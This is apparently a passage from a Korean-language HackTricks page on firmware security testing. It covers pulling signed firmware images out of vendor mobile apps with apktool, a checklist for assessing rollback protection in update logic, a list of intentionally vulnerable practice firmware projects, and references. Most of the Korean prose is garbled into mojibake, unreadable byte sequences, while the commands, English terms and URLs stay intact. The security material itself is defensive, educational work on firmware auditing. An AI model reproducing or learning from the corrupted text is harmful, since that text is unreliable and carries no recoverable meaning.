ํ์ง๋ง ๋ค์ด๊ทธ๋ ์ด๋ ๋ณดํธ๊ฐ ์์ด ์ด ํจ์น๊ฐ ๋ฌด์ฉ์ง๋ฌผ์ด๋ค.
๋ชจ๋ฐ์ผ ์ฑ์์ ํ์จ์ด ์ถ์ถํ๊ธฐ
๋ง์ ๋ฒค๋๋ ์ฑ์ด Bluetooth/Wi-Fi๋ฅผ ํตํด ๊ธฐ๊ธฐ๋ฅผ ์
๋ฐ์ดํธํ ์ ์๋๋ก ๋๋ด ๋ชจ๋ฐ์ผ ์ ํ๋ฆฌ์ผ์ด์
์์ ์ ์ฒด ํ์จ์ด ์ด๋ฏธ์ง๋ฅผ ๋ฒ๋ค๋ก ํฌํจํ๋ค. ์ด๋ฌํ ํจํค์ง๋ ๋ณดํต APK/APEX ๋ด์ assets/fw/ ๋๋ res/raw/ ๊ฐ์ ๊ฒฝ๋ก์ ์ํธํ๋์ง ์์ ์ฑ๋ก ์ ์ฅ๋๋ค. apktool, ghidra, ๋๋ ๋จ์ํ unzip ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ฌผ๋ฆฌ์ ํ๋์จ์ด๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ์๋ช
๋ ์ด๋ฏธ์ง๋ฅผ ์ถ์ถํ ์ ์๋ค.
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
์ ๋ฐ์ดํธ ๋ก์ง ํ๊ฐ ์ฒดํฌ๋ฆฌ์คํธ
- update endpoint์ ์ ์ก/์ธ์ฆ์ ์ ์ ํ ๋ณดํธ๋์ด ์๋๊ฐ (TLS + ์ธ์ฆ)?
- ์ฅ์น๊ฐ ํ๋์ฑ ์ ์ ๋ฒ์ ๋ฒํธ ๋๋ ๋จ์กฐ์ ๋กค๋ฐฑ ๋ฐฉ์ง ์นด์ดํฐ๋ฅผ ๋น๊ตํ๋๊ฐ?
- ์ด๋ฏธ์ง๊ฐ secure boot ์ฒด์ธ ๋ด๋ถ์์ ๊ฒ์ฆ๋๋๊ฐ (์: ROM ์ฝ๋์์ ์๋ช ์ ํ์ธ)?
- userland ์ฝ๋๊ฐ ์ถ๊ฐ์ ์ธ ์ ํฉ์ฑ ๊ฒ์ฌ๋ฅผ ์ํํ๋๊ฐ (์: ํ์ฉ๋ ํํฐ์ ๋งต, ๋ชจ๋ธ ๋ฒํธ)?
- partial ๋๋ backup ์ ๋ฐ์ดํธ ํ๋ฆ์ด ๋์ผํ ๊ฒ์ฆ ๋ก์ง์ ์ฌ์ฌ์ฉํ๋๊ฐ?
๐ก ์ ํญ๋ชฉ ์ค ํ๋๋ผ๋ ๋๋ฝ๋๋ฉด ํ๋ซํผ์ ๋กค๋ฐฑ ๊ณต๊ฒฉ์ ์ทจ์ฝํ ๊ฐ๋ฅ์ฑ์ด ๋๋ค.
์ฐ์ต์ฉ ์ทจ์ฝ ํ์จ์ด
ํ์จ์ด ์ทจ์ฝ์ ๋ฐ๊ฒฌ์ ์ฐ์ตํ๋ ค๋ฉด ๋ค์ ์ทจ์ฝ ํ์จ์ด ํ๋ก์ ํธ๋ค์ ์์์ ์ผ๋ก ์ฌ์ฉํ์ธ์.
- OWASP IoTGoat
- https://github.com/OWASP/IoTGoat
- The Damn Vulnerable Router Firmware Project
- https://github.com/praetorian-code/DVRF
- Damn Vulnerable ARM Router (DVAR)
- https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html
- ARM-X
- https://github.com/therealsaumil/armx#downloads
- Azeria Labs VM 2.0
- https://azeria-labs.com/lab-vm-2-0/
- Damn Vulnerable IoT Device (DVID)
- https://github.com/Vulcainreo/DVID
์ฐธ๊ณ ์๋ฃ
-
https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
-
Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
-
Exploiting zero days in abandoned hardware โ Trail of Bits blog
๊ต์ก ๋ฐ ์๊ฒฉ์ฆ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


